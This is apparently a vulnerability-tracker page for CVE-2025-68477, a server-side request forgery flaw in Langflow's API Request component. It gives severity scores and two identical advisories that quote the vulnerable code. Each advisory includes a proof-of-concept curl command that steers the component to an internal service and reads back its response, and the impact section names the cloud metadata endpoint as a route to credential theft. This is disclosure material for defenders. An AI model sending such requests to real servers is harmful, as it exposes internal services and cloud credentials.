CVE-2025-68477

mediumpriority · track · 28EPSS 0.063 · 94 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
6.30% (94th) EPSS
CVSS 6.5 · medium
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0, Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127[.]0[.]0[.]1, the 10/172/192 ranges) or cloud metadata endpoints (169[.]254[.]169[.]254), and it returns the response body as the result. Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks. Version 1.7.0 contains a patch for this issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.7
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6–7.7

v3.16.5mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 2.8 · impact 3.6
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · ENISA EU
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.1 · impact 4
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · OSV
v3.16mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-5993-7p27-66g5Langflow vulnerable to Server-Side Request Forgery2025-12-19ghsa · osvUS

    **Vulnerability Overview** Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result. Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks. **Vulnerable Code** 1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359 ```python @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ): ``` https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588 ```bash @router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse: ``` 2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289 ```python def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg) url = url.strip() if url.startswith(("http://", "https://")): return url return f"https://{url}" ``` https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438 ```python url = self._normalize_url(url) # Validate URL if not validators.url(url): msg = f"Invalid URL provided: {url}" raise ValueError(msg) ``` 3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"]. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322 ```python try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params) ``` https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340 ```python # Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, } ``` https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379 ```python # Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8") metadata["result"] = result if include_httpx_metadata: metadata.update({"headers": headers}) return Data(data=metadata) ``` ### PoC --- **PoC Description** - I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3. - I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/<FLOW_ID>` with an API key to perform SSRF. The response returned the internal service’s body in the `result` field, confirming non-blind SSRF. **PoC** - Langflow Setting <img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" /> - Exploit ```bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result' ``` <img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" /> ### Impact --- - Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations). - Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials. - Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API). - Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data. - Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.

  • PYSEC-2026-1522Langflow vulnerable to Server-Side Request Forgery2026-07-07vendor · osvUS

    **Vulnerability Overview** Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result. Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks. **Vulnerable Code** 1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359 ```python @router.post("/run/{flow_id_or_name}", response_model=None, response_model_exclude_none=True) async def simplified_run_flow( *, background_tasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)], input_request: SimplifiedAPIRequest | None = None, stream: bool = False, api_key_user: Annotated[UserRead, Depends(api_key_security)], context: dict | None = None, http_request: Request, ): ``` https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588 ```bash @router.post( "/run/advanced/{flow_id_or_name}", response_model=RunResponse, response_model_exclude_none=True, ) async def experimental_run_flow( *, session: DbSession, flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, session_id: Annotated[None | str, Body(embed=True)] = None, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> RunResponse: ``` 2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289 ```python def _normalize_url(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg) url = url.strip() if url.startswith(("http://", "https://")): return url return f"https://{url}" ``` https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438 ```python url = self._normalize_url(url) # Validate URL if not validators.url(url): msg = f"Invalid URL provided: {url}" raise ValueError(msg) ``` 3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"]. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322 ```python try: # Prepare request parameters request_params = { "method": method, "url": url, "headers": headers, "json": processed_body, "timeout": timeout, "follow_redirects": follow_redirects, } response = await client.request(**request_params) ``` https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340 ```python # Base metadata metadata = { "source": url, "status_code": response.status_code, "response_headers": response_headers, } ``` https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379 ```python # Handle response content if is_binary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8") metadata["result"] = result if include_httpx_metadata: metadata.update({"headers": headers}) return Data(data=metadata) ``` ### PoC --- **PoC Description** - I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3. - I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/<FLOW_ID>` with an API key to perform SSRF. The response returned the internal service’s body in the `result` field, confirming non-blind SSRF. **PoC** - Langflow Setting <img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" /> - Exploit ```bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"input_value":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"url_input":"http://172.18.0.3:8000/internal","include_httpx_metadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n";"") | sub("\\n```$";"") | fromjson | .result' ``` <img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" /> ### Impact --- - Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations). - Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials. - Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API). - Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data. - Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2025-12-19modified 2026-06-17
08

references (5)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan